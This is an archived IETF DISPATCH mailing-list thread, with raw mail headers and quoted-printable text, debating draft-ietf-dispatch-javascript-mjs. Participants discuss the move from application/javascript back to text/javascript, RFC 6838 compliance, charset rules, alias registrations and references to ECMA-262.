from the Designated Experts. Now let's assume there was no request from ECMA and that this document represents the request and opinion of the authors. There are then a few other problems which I didn't catch until I studied the document and the registry over the weekend. First, these registrations started out with the preferred one (in the registry) as application/javascript and application//ecmascript. RFC 4329 establishes that preference, identifying text/javascript and text/ecmascript as obsolete (which is how they are defined in the registry) and asserted that 'Use of the "text" top-level type for this kind of content is known to be problematic.' (see its Section 3, a section that appears to have been dropped from the I-D without comment -- not, at least IMO, a "fairly simple update"). The current I-D apparently proposes to change that, identifying text/javascript as the preferred form and marking application/javascript as obsolete. But it lacks, at least IMO, a clear explanation as to why that change, with the preference reversed a second time, is being made. That also raises the obvious question of whether, in another half-dozen years, the decision will not be reversed again. I can find no explanation if the I-D as to why that is unlikely to be the case, only a preference for the text/ form today. Equally important, RFC 6838, supplemented by RFC 6657, imposes far fewer restrictions on applications/* types than it does on text/* types. For the latter, the discussion in Section 4 of the I-D very strongly implies that these media types are not "Text Media Types" as defined in Section 4.2.1 of RFC 6838 and should therefore be application/* types. It may be that the text in the I-D is just confusing (if Ned is convinced these are appropriate text/* types, I defer to his judgment), but that is more evidence that this document is not ready for prime time... probably to the extent that it never should have been put into Last Call. Or, if that is not the problem, this specification does not get to violate RFC 6838's provisions without either a clear explanation or updating that document (which would presumably require a clear explanation). Assuming text/javascript is appropriate, this I-D also violates Section 4.2.1 of RFC 6838 in another way, where the fourth paragraph of that section starts by saying 'If a "charset" parameter is specified, it SHOULD be a required parameter, eliminating the options of specifying a default value. If there is a strong reason for the parameter to be optional despite this advice, each subtype MAY specify its own default value, or alternatively, it MAY specify that there is no default value.' The subsequent text that talks about "strong reason for the parameter to be optional" strongly implies that there should be an explanation in the relevant document (in retrospect, we should have explicitly required that). I don't see that explanation even attempted unless it is the text about the use of "charset" with one target and not with others (again, confusing at best). Equally or more important, Section 4.1 of the I-D says that the value of the charset parameter "SHOULD be a registered charset" while the second paragraph of Section 4.2.1 of 6838 says "MUST". That is a clear violation of RFC 6838 and as noted above, this I-D does not get to violate or change BCP 13, at least without a very clear explanation that can be reviewed and evaluated by the IETF, not just waived off in passing as repeating the errors of RFC 4329. I don't have the energy to go back and study RFC 4329 carefully but a quick review of parts of it suggests that many of these problems are the legacy of originally using application/* types, which are far more flexible about these things. That implies that a switch (back) from application/* to text/javascript without considerable additional explanation leaves a few too many document deficiencies and loose ends. Coming back to Murray's MUST question, this document and its authors should not be able to say, in essence, that 4239 is so broken that it is necessary to un-deprecate things that it claimed were obsolete and turn them into requirements and then turn around and say that things that are incorrectly represented as requirements should be preserved just because this document does not change them. That isn't all. If the Mozilla piece cited by Mathias at https://mathiasbynens.be/demo/javascript-mime-type is relevant and the reason for registering these dead/ obsoleted documents is because they were in use somewhere, then I don't understand why the "FAIL" "javascript+FOO" media types are not on the list proposed for registration (or treatment as Ned suggests). In addition, the proposed registrations, including the one for text/javascript that is intended to be the one that survive as relevant, invite the user to go on a wild goose chase, sending them to look at the RFC that succeeded the I-D and then to ECMA 262 (without any section numbers or other hints) and back to the present document. That is not, at least IMO, how the media type registry was intended to work, even if the goose is eventually captured. Even more important, but part of the same general problem, the "Interoperability considerations" subsection that is part of each of the registrations (and is new text that cannot be blamed on RFC 4329) appears to say something equivalent to "whatever this media type says it is, treat it as if the current version of 'text/javascript' as specified in ECMA-262 had been specified". If that is the intent, the text should say so _and_ point to the specific section of ECMA-262 that requires strict backward compatibility in the present and all future versions. The material in Section 2 of the I-D (with or without the strange MUST to which Murray objected) does not do that. When I look at the current version of ECMA-262 itself, I find Appendix E ("Corrections and Clarifications in ECMAScript 2015 with Possible Compatibility Impact") and F ("Additions and Changes That Introduce Incompatibilities with Prior Editions"). They strongly imply that there are no such backward compatibility commitments. Even a single incompatibility that would cause an application to fail or apply a different interpretation of media types tied to earlier versions would be a problem (this is in the category of things that caused the IAB to launch a study of compatibility among versions of a protocol). We might deprecate a once-valid type because there is a newer type with a new definition. But having the definition of a type change out from under it and thereby making an application that assumed the original definition non-conforming... well, it isn't something the IETF should do and, if Ecma International (not just the authors) thinks it is ok, we need to hear from them. That problem with media type stability extends to the RFC Style Guide. References, especially normative references, are expected to be very stable. But, while the reference identified as [ECMA-262] itself is very stable, referring to the 2021, 12th Edition, of that spec, the "Interoperability considerations" text does not actually reference that 2021 version. What it references is, approximately, "whatever the ECMAScript specification is when you happen to read this". Perhaps the authors and the RFC Editor could work out how to do that in a reference, but the I-D is referencing the 2021 version in some places and the current version in others, using the same anchor, and that has not been acceptable at any time in the last 51 1/2 years. In addition, that dual use of the reference anchor means that the statement in Appendix B, "Updated references to ECMA-262 to match the version at time of publication" is not quite accurate because it is also expected to match the version at time of reading. ------ Bottom line: In retrospect, this document never should have been put into Last Call. The IESG's having done so is a symptom of one of the common problems with AD-sponsored documents, especially Informational ones, in today's IETF. That problem is insufficient expert review of potential problems in interactions with other specs and, in this case, with existing IANA registries and the rules for them. That lack of in-depth review is especially likely if something is presented as "just an update" or "just a replacement for an existing document", implying that there are no changes that have broad implications. Maybe it is something we should think about in terms of how DISPATCH works at well: perhaps a document like this should not be recommended for AD Sponsorship until it has been carefully reviewed by a team separate from the authors and with in-depth expertise in both the subject matter and the subtle issues with media types. That is a review that this document received only in the last couple of weeks and it might easily have slipped through. I have read the Shepherd's report and, given the assumptions it documents, it is probably completely correct. However, those assumptions include this "just" being an update to 4329 that does not introduce substantive changes other than those documented in Appendix B. That does not turn out to have been the case, e.g., with the change of "the intended usage of the media type text/javascript from obsolete to common", which has broader implications; with the use of one of the references; and with other issues identified above. Among the specific problems are that the change from a preferred application/* type to a text/* type is not a "simple update of RFC 4329" because it interacts with requirements of RFC 6838; the obsolete, then un-obsolete, then obsolete again actions (and their reverse) require more explanation than simply changing text; and, at least IMO, if 4329 messed up the IANA registries, this should not make them worse and, if it didn't, this I-D should not mess them up, whether intentionally or by being confusing beyond all acceptability. There is, in addition, clearly a more general problem for the IESG and IETF, which is whether replacing an old document that is known to have serious deficiencies with a new one that shares those deficiencies and doing so without even comments about them is a good idea. I note that no errata were filed against those deficiencies in 4239 but, given our treatment of errata (especially of the "hold for document update species), that should not make any difference, especially given that at least some of them were identified in review in DISPATCH. It is my personal view that, if we obsolete a previous document, we take on the responsibility, ideally, to fix its errors and inappropriate or incomprehensible text even if we do not fix other glitches. Even if we don't get to that ideal, we should at least insert a section or appendix that identifies the known problems that are being inherited. However, even if the inherited problems are ignored, the media type definition ones noted by Ned and the need for explanations that several of us have identified (including those in the notes above) will result in very significant changes to this document, changes significant enough that the IESG should return it to DISPATCH and initiate another Last Call when it is actually ready. john From nobody Tue Jan 11 23:37:13 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DE8653A10A1 for ; Tue, 11 Jan 2022 23:36:47 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -22.1 X-Spam-Level: X-Spam-Status: No, score=-22.1 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-5, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id gQntSVoC7tQX for ; Tue, 11 Jan 2022 23:36:45 -0800 (PST) Received: from mail-pl1-x62b.google.com (mail-pl1-x62b.google.com [IPv6:2607:f8b0:4864:20::62b]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id B848E3A109F for ; Tue, 11 Jan 2022 23:36:45 -0800 (PST) Received: by mail-pl1-x62b.google.com with SMTP id e19so2872266plc.10 for ; Tue, 11 Jan 2022 23:36:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=8sKd+QtX3xs/G9flFwj5gvk79q+cpOtxXamDb4senHI=; b=fiBhkqseEs6rgo98DKE5YoO9DsKaNkxsduRsUazjRywVE27R22Hwvpa1RvUbV3Z3Ev faUww0iAOXZlz3Gu9RU7zV7RW0tU3QR/mygVZuMERaVpubkFe4fz00S3SbOAeOM5e/FA wBdGDiQxngA5rA8AG89m6eBEdB2yce5FdAV3iCYLcbo25ZbaNQuCb5rPnMnJdIQhgHJY 6SqJ1M8awtgm6D3vIQIwugoKXXyDl1w32Rqhb8vMhnUXcKmT6GZVWEQVSWMUhf+heZUb 5BNFJOVlTFkY3UiGUkW2mMYkMhrY1LwHmzyq20WnyJp7gkJt25jwLulxSrNN+y4YRs+d VdDQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=8sKd+QtX3xs/G9flFwj5gvk79q+cpOtxXamDb4senHI=; b=2Ca9rWWuDs3UpfglUbHvasb6OSNeVXmECpuLKTktqIamuu6KgDuGyYuEdYuirFRGrN cBKqGltSaG8eED/vzB9wS59GNl6Z+hFOJpp5v7NlkOpQe/YB5w7miVxOzTd+qxE+wo9M Z64LWi+H/HA3XAj1ktA8TYuf7ER0EeDrkSU0X5UPfCySbG5FUodGpN7ME/Bo28/w9xS1 b98KvHMue1LsqLR8I7O/4ewX07FOj++4u7HkRX/Rz31yYgKonEX5VSdJgvPEv4ytJ261 29FuZ9UNca0g5ewHBjaFiIph8V2HkLpFtqYBlkAc/hcjlRggt4E/6q6iG/eBnyxh/CUS yCGw== X-Gm-Message-State: AOAM530rEXXCWTZAs2Uau5USs3hbYnMISgLJmQKHZiXpEy5vSgeSmsPk fMcETXmzXHfwm+T74IccSc0v/lHrNWJMLTCfkYuYRw== X-Google-Smtp-Source: ABdhPJwX3LE5PYrE3b4KlecuArhwthtBrpl0hu9XSwyRS6dXhCr5XiW+ItYvzMl96PEX+gThr/aohBsvopPDW/JZ8ks= X-Received: by 2002:a65:4582:: with SMTP id o2mr7654785pgq.380.1641973004150; Tue, 11 Jan 2022 23:36:44 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: Mathias Bynens Date: Wed, 12 Jan 2022 08:36:32 +0100 Message-ID: To: "Murray S. Kucherawy" , Francesca Palombini Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000a54bf205d55da1ab" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 07:36:48 -0000 --000000000000a54bf205d55da1ab Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Francesca, could you please advise on how to proceed w.r.t. the MUST question? Thank you. On Tue, Jan 11, 2022 at 6:02 PM Murray S. Kucherawy wrote: > On Mon, Jan 10, 2022 at 11:13 PM Mathias Bynens wrote: > >> >> >>> Any further comment on the MUST issue I raised? >>> >> >> This refers to the following paragraph: >> >> ``` >> This document may be updated to take other content into account. Updates >> of this document may introduce new optional parameters; implementations >> MUST consider the impact of such an update. >> ``` >> >> This MUST is not new; this text is inherited from RFC4329 (section 3). >> For our draft, we=E2=80=99ve been hesitant to make changes other than th= e ones that >> were needed to match implementation reality & ensure compat. >> > > "The sins of the father" and all that. :-) > > I do appreciate the desire for minimal change from an already-approved > document. I also think that propagating text that was improper to begin > with should be given due consideration. > > As she's the responsible AD here, at this point I'll defer to Francesca o= n > the MUST question. > > -MSK > --000000000000a54bf205d55da1ab Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Francesca, could you please advise on how to proceed w.r.t= . the MUST question? Thank you.

On Tue, Jan 11, 2022 at 6:02 PM Murray S. Ku= cherawy <superuser@gmail.com&= gt; wrote:
=

"The sins of the father" and all that.=C2=A0 = :-)

I do appreciate the desire for minimal change = from an already-approved document.=C2=A0 I also think that propagating text= that was improper to begin with should be given due consideration.


--000000000000a54bf205d55da1ab-- From nobody Tue Jan 11 23:42:09 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 338EC3A10E3 for ; Tue, 11 Jan 2022 23:42:03 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.098 X-Spam-Level: X-Spam-Status: No, score=-17.098 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZA7Qvh_P1gyv for ; Tue, 11 Jan 2022 23:41:58 -0800 (PST) Received: from mail-pl1-x635.google.com (mail-pl1-x635.google.com [IPv6:2607:f8b0:4864:20::635]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id C74343A10E1 for ; Tue, 11 Jan 2022 23:41:58 -0800 (PST) Received: by mail-pl1-x635.google.com with SMTP id n11so959154plf.4 for ; Tue, 11 Jan 2022 23:41:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=/82v2RHTpE68dTwCy3l+nL8ZFAhNYXEHvUu7CF6c2Io=; b=nqifxeJEy4C+ZhHvvadaqgNR6xWuujve/7/gG4g90bnHSesIvlEj8QaD3bANrgbcSP CA9qUBKFvRKQc/bkLESUurH8Stg8/HAkUCBrrVvbbcYy+cZ77WoWK/+8DmMRNVAkuKIB GjkafrDc2rtoVHLfY2xb452yu78LEquLiMyqCfT/PuCa07QrRKFK81YKc5jtR49qOmqU 8QWts/Y1bD/cR6DwJcUa+WLvNQJtm9q2zVoz/yNBxCGaxRhZ9/Fvc2Y6PeWvfdjwoGvR iIgmA76jDP+GJ68P/rJT98C8VhwEdJyV68q6fDdqTxLaK4rUmRLDdqELq1jHycuVz9HE X0wg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=/82v2RHTpE68dTwCy3l+nL8ZFAhNYXEHvUu7CF6c2Io=; b=XouHh/y2xzi3ZzM0JvVILZeHEfBdgVqs1IJxwLuolkzTPMDWxIidNbnH7z+WccrQEs IbjmuH1E3TFIIK2fjgaNR8hEJ7+rcw3Et3DcdyRwr8R0t3zLqt7XB8mKD9Tou/+xciKL f1c2ExQd+HU5UsGTUjtqnGxIMMFbL3j/QulJgeCASNBLnbHN28S99x6zcn+wvTpu8B/3 ZvjKGY5ItdY+1+avJQdJUfpvcQ9jtsEhvPgxhpW0Zpp2yU2Wy5fvfNd/Vj5yQMoE1cub kOkb+YL8Stk7cS1sRW480X1/zgiT6P0uW4Ug9NzMX744pofUTo2GxOOZHuIQzNDoUHm/ hu6A== X-Gm-Message-State: AOAM530WuYw351jyvnJNLzMoecgP1NsioBkHg7FOY6O6fJDL0nea+OIM 89QlUHvw84NjxRVDXewCe4yr5skWSahDOk3E7O//CQ== X-Google-Smtp-Source: ABdhPJwjNq/T3HpNC+vGcDV5L74aSfTPghzERgWHLRDx1z4cNRjRQXmbT1BZR0cFWjwLjhxGQoMosm+AmEg1vVO6Hjk= X-Received: by 2002:a17:902:760c:b0:149:ee23:8905 with SMTP id k12-20020a170902760c00b00149ee238905mr8503099pll.61.1641973316997; Tue, 11 Jan 2022 23:41:56 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> <01S8F3X371ZE00D1OX@mauve.mrochek.com> In-Reply-To: <01S8F3X371ZE00D1OX@mauve.mrochek.com> From: Mathias Bynens Date: Wed, 12 Jan 2022 08:41:45 +0100 Message-ID: To: Ned Freed Cc: Mathias Bynens , "Murray S. Kucherawy" , DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Content-Type: multipart/alternative; boundary="0000000000004ab36405d55db4a9" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 07:42:03 -0000 --0000000000004ab36405d55db4a9 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Tue, Jan 11, 2022 at 11:32 PM Ned Freed wrote: > In regards to all these obsolete registrations and x- registrtions > in particular... > > > > What I've observed is that the current media type registry does not a= t > > > present contain any of the "x-" media types this document is > registering. > > > I believe that makes them new registrations, and so I suggest that > there > > > should be text explaining why BCP 178 doesn't apply here. > > > > > > Thank you. Please take a look at this patch: > > https://github.com/linuxwolf/bmeck-ids/pull/65/files > > > For context, these are historical legacy types that are supported in > > practice: https://mathiasbynens.be/demo/javascript-mime-type Although > they > > are OBSOLETED, it=E2=80=99s important that the document specifies them = because > they > > are required for Web compatibility. > > There seems to be considerable misunderstanding about the rules regarding > obsolete type names, unfaceted types, and type names beginning with "X-". > > First, RFC 6838 eliminated the special status of type names beginning wit= h > "X-". So nothing prevents you from registering type names beginning with > "X-" as long as the registration is in the standards tree. Appendix A > of RFC 6838 only applies if the type is being registered in, say, the > vendor > tree, which AFAICT is not the case here. > > Of course the fact that you can register names beginning with "X-" doesn'= t > mean you should. So if you're doing this, a note explaining why ths makes > sense would be a good idea. > > However, the better question is why are all these obsolete type names > being registered separately. RFC 6838 section 4.2.9 explains the proper > way to handle old names for the same media type, and the registration > form now contains a field for listing all of these names. > > If you're going to register a bunch of separate types for a bunch of > similar things, you need to explain why you're doing things this way, > and more importantly, why they warrant having different names. > > And since in this case all of these additional registrations are marked > as obsolete, I fail to see why they aren't being handle as deprecated > aliases. > Or, to pur this another way, why not simply list all 15 (!) aliases in th= e > registration for text/javascript and get rid of section 6.2 entirely? > Thanks for the pointer to RFC 6838 section 4.2.9, and for suggesting such an elegant solution. I=E2=80=99ve prepared a patch at https://github.com/linuxwolf/bmeck-ids/pull/66 that reduces the draft down to just two registrations, each with a set of aliases: - Under =E2=80=9CCommon JavaScript Media Types=E2=80=9D: text/javascript= and its aliases with file extensions .js and .mjs - Under =E2=80=9CHistoric JavaScript Media Types=E2=80=9D: text/ecmascri= pt and its aliases with file extensions .es and .mjs To make it just one registration and remove section 6.2 entirely, we=E2=80= =99d need to list something like =E2=80=9CDeprecated file extension(s): .es=E2=80=9D = alongside =E2=80=9CFile extension(s)=E2=80=9D, but I don=E2=80=99t see anything in RFC 6838 that wo= uld allow this, and then we=E2=80=99d also be incorrectly listing .es as a legacy extension= for the common types which never had that extension in their registration. Given that, I think the current patch is as good as it can get. Please take a look. --0000000000004ab36405d55db4a9 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable


=
On Tue, Jan 11, 2022 at 11:32 PM Ned = Freed <ned.freed@mrochek.com> wrote:
In = regards to all these obsolete registrations and x- registrtions
in particular...

> > What I've observed is that the current media type registry do= es not at
> > present contain any of the "x-" media types this docume= nt is registering.
> > I believe that makes them new registrations, and so I suggest tha= t there
> > should be text explaining why BCP 178 doesn't apply here.
> >

> Thank you. Please take a look at this patch:
> https://github.com/linuxwolf/bmeck-ids/pu= ll/65/files

> For context, these are historical legacy types that are supported in > practice: https://mathiasbynens.be/demo/javas= cript-mime-type Although they
> are OBSOLETED, it=E2=80=99s important that the document specifies them= because they
> are required for Web compatibility.

There seems to be considerable misunderstanding about the rules regarding obsolete type names, unfaceted types, and type names beginning with "X= -".

First, RFC 6838 eliminated the special status of type names beginning with<= br> "X-". So nothing prevents you from registering type names beginni= ng with
"X-" as long as the registration is in the standards tree. Append= ix A
of RFC 6838 only applies if the type is being registered in, say, the vendo= r
tree, which AFAICT is not the case here.

Of course the fact that you can register names beginning with "X-"= ; doesn't
mean you should. So if you're doing this, a note explaining why ths mak= es
sense would be a good idea.

However, the better question is why are all these obsolete type names
being registered separately. RFC 6838 section 4.2.9 explains the proper
way to handle old names for the same media type, and the registration
form now contains a field for listing all of these names.

If you're going to register a bunch of separate types for a bunch of similar things, you need to explain why you're doing things this way, and more importantly, why they warrant having different names.

And since in this case all of these additional registrations are marked
as obsolete, I fail to see why they aren't being handle as deprecated a= liases.
Or, to pur this another way, why not simply list all 15 (!) aliases in the<= br> registration for text/javascript and get rid of section 6.2 entirely?

Thanks for the pointer to RFC 6838 section 4= .2.9, and for suggesting such an elegant solution. I=E2=80=99ve prepared a = patch at https:/= /github.com/linuxwolf/bmeck-ids/pull/66 that reduces the draft down to = just two registrations, each with a set of aliases:
  • Under =E2= =80=9CCommon JavaScript Media Types=E2=80=9D: text/javascript and its alias= es with file extensions .js and .mjs
  • Under =E2=80=9CHistoric JavaSc= ript Media Types=E2=80=9D: text/ecmascript and its aliases with file extens= ions .es and .mjs
To make it just one registration and remove= section 6.2 entirely,=C2=A0we=E2=80=99d need to list something like =E2=80= =9CDeprecated file extension(s): .es=E2=80=9D alongside =E2=80=9CFile exten= sion(s)=E2=80=9D, but I don=E2=80=99t see anything in RFC 6838 that would a= llow this, and then we=E2=80=99d also be incorrectly listing .es as a legac= y extension for the common types which never had that extension in their re= gistration. Given that, I think the current patch is as good as it can get.= Please take a look.
--0000000000004ab36405d55db4a9-- From nobody Wed Jan 12 00:38:53 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9B5533A0BD9 for ; Wed, 12 Jan 2022 00:38:43 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id R9GcITjYkBIw for ; Wed, 12 Jan 2022 00:38:37 -0800 (PST) Received: from mail-pl1-x629.google.com (mail-pl1-x629.google.com [IPv6:2607:f8b0:4864:20::629]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id D22C53A0BE0 for ; Wed, 12 Jan 2022 00:38:37 -0800 (PST) Received: by mail-pl1-x629.google.com with SMTP id w7so3044837plp.13 for ; Wed, 12 Jan 2022 00:38:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=Y2nWT/iPkg2PGGVvm8SCOSvtxSdhwCJScRTTxs4frDE=; b=KSQSd8rPP1ZO0zCoBIXS4NWOmVMx7FLfD5cxRd3/TBpEZl9F/tpC29kQKVJQTWe3yu 0tpkW0IrHXk/7Zocc4uu3CmAY+enWehwoq6lNu0LSw4N3bBp3dsEiTnxdhT/Mnb6ig70 3hvFMs2yIgpgfko4NcN5igVY13RXy1/Fakt5osvHmr6AVJhq60nohInHWftq5kBForP7 kyQq6C0u4S/ea1xlwAJK/HYIH/YAJkHGzDoD3+bUUc6iGiSZuhloDlb6CyHyjgkggxiV 5eVg1IlYAh3f4PFxUN+izmENcaIUBnuveDJrodxYjqqDX6vHuNTAX9YK0JBIRcu/sZjH SDvg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=Y2nWT/iPkg2PGGVvm8SCOSvtxSdhwCJScRTTxs4frDE=; b=JOH8JCz+7gXpoF9r+E5+YwUEe51qM0Ms4srnyxf+4ppMI3PxGzsHAQzzLFMCc6IVcG 4RO6KHcJHrL83+ClXHTiwAGuat/rZgVHJTAFny8WmY4/mHIqmnkuPWBrt/gee3ZLrk/q uHs36SQMuhZFfvWIFMNAZGbqGrundo7uN14B/HKHwjvf/4hewAqO6MshReCw4gWpq7p/ TO92qxRqZMYNbkOxcgWvCqe+JJNPRy1Ze+PyNbp41/Cv5jiKpJcIq8lGxdL84gVcEVvX b+05bPShIKczPeH9eIo+91ONgROABg6aPCVTKFvjrXJL2ykHXmDUD0kcBWmg4KL1z0vh /IcQ== X-Gm-Message-State: AOAM531MjbpydeUKVtoIgRpz+I40xZwNWkrssQk+5t72GT5FLZT2v9AB g8tY2PFVWaW82eTS3Op/Yzo1FMQ1M1Yyx1Z36eeZxg== X-Google-Smtp-Source: ABdhPJyr1miMozQlnvAZNhNWCkoHD+kEr4MExkhgf7fpy4mLU2hNi/FUJqmo/zTwU8zLjMH4II/P0di7/ta3RZfn11o= X-Received: by 2002:a17:902:d484:b0:14a:59cc:308e with SMTP id c4-20020a170902d48400b0014a59cc308emr5468546plg.137.1641976715893; Wed, 12 Jan 2022 00:38:35 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> <01S8F3X371ZE00D1OX@mauve.mrochek.com> In-Reply-To: From: Mathias Bynens Date: Wed, 12 Jan 2022 09:38:24 +0100 Message-ID: To: John C Klensin Cc: ned+dispatch@mrochek.com, Mathias Bynens , Ben Campbell , DISPATCH WG , dispatch chairs , draft-ietf-dispatch-javascript-mjs@ietf.org, The IESG Content-Type: multipart/alternative; boundary="000000000000e1ac8e05d55e7e6b" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 08:38:44 -0000 --000000000000e1ac8e05d55e7e6b Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Wed, Jan 12, 2022 at 5:49 AM John C Klensin wrote: > Warning: this note is long. Those who are not interested in the > details can safely skip to the least three paragraphs, beginning > with the one that starts "bottom line". > > --On Tuesday, January 11, 2022 07:53 -0800 > ned+dispatch@mrochek.com wrote: > > > In regards to all these obsolete registrations and x- > > registrtions in particular... > > > >> > What I've observed is that the current media type registry > >> > does not at present contain any of the "x-" media types > >> > this document is registering. I believe that makes them new > >> > registrations, and so I suggest that there should be text > >> > explaining why BCP 178 doesn't apply here. > > >> Thank you. Please take a look at this patch: > >> https://github.com/linuxwolf/bmeck-ids/pull/65/files > > > >> For context, these are historical legacy types that are > >> supported in practice: > >> https://mathiasbynens.be/demo/javascript-mime-type Although > >> they are OBSOLETED, it's important that the document > >> specifies them because they are required for Web > >> compatibility. > > > > There seems to be considerable misunderstanding about the > > rules regarding obsolete type names, unfaceted types, and type > > names beginning with "X-". > > > > First, RFC 6838 eliminated the special status of type names > > beginning with "X-". So nothing prevents you from registering > > type names beginning with "X-" as long as the registration is > > in the standards tree. Appendix A of RFC 6838 only applies if > > the type is being registered in, say, the vendor tree, which > > AFAICT is not the case here. > > > > Of course the fact that you can register names beginning with > > "X-" doesn't mean you should. So if you're doing this, a note > > explaining why ths makes sense would be a good idea. > > Let me go a half-step further than Ned. Given the language in > RFC 6648/ BCP 178, not explaining why it makes sense would > create a situation in which an Informational specification in > the IETF Stream was violating an IETF BCP. Without a clear > explanation in the document, one which I believe should have > been identified in the Last Call, that would create an > intolerable situation of the IETF ignoring its one "best > practice" specifications. > > > However, the better question is why are all these obsolete > > type names 